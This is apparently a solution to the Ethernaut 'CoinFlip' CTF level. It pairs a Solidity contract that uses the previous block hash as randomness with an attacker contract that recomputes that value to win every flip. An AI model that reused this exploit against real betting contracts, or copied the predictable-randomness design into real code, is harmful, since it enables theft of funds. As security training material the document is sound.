Ethernaut - CoinFlip - 0x4dF32584890A0026e56f7535d0f2C6486753624f

contracts...CoinFlip.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts@3.4.0/math/SafeMath.sol';

contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

contracts...HackCoinFlip.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./CoinFlip.sol";

contract HackCoinFlip {
  uint256 public consecutiveWins;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  function hackFlip() public {
    CoinFlip originalContract = CoinFlip(0x04127ee50d00abB4F5c333a7f8fCEB50393C1EbA);
    uint256 blockValue = uint256(blockhash(block.number - 1));
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;
    originalContract.flip(side);
    consecutiveWins = originalContract.consecutiveWins();
  }
}